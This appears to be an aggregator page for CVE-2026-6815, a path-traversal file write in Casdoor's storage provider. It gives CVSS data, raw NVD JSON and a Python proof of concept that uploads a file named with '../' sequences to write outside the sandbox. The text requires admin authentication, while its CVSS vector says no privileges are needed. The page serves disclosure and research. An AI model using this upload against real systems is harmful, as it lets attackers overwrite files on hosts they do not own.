Security Vulnerability Report
中文
CVE-2026-6815 CVSS 5.9 MEDIUM

CVE-2026-6815

Published: 2026-05-11 16:17:37
Last Modified: 2026-05-13 14:18:14

Description

An arbitrary file write vulnerability exists in Casdoor's Local File System storage provider. Due to insufficient path sanitization, an authenticated attacker with administrative privileges can perform a Path Traversal attack to create or overwrite arbitrary files anywhere on the host filesystem, bypassing the application's intended storage sandbox.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Casdoor (Local File System Storage 提供程序)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_6815(target_url, admin_cookie): """ PoC for CVE-2026-6815: Arbitrary File Write via Path Traversal in Casdoor. """ upload_endpoint = f"{target_url}/api/upload" # Path traversal payload to write to /tmp/pwned.txt # Adjust the path based on the target OS (e.g., '../../..') filename = "../../../../../../../../tmp/pwned.txt" files = { 'file': (filename, 'CVE-2026-6815 Exploit Content', 'text/plain') } cookies = { 'casdoor_session_id': admin_cookie } try: response = requests.post(upload_endpoint, files=files, cookies=cookies) if response.status_code == 200: print(f"[+] Success: File written to {filename}") else: print(f"[-] Failed: Status code {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage exploit_cve_2026_6815("http://localhost:8000", "valid_admin_cookie_here")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6815", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:37.257", "lastModified": "2026-05-13T14:18:14.063", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file write vulnerability exists in Casdoor's Local File System storage provider. Due to insufficient path sanitization, an authenticated attacker with administrative privileges can perform a Path Traversal attack to create or overwrite arbitrary files anywhere on the host filesystem, bypassing the application's intended storage sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}]}, "references": [{"url": "https://kb.cert.org/vuls/id/937808", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/937808", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}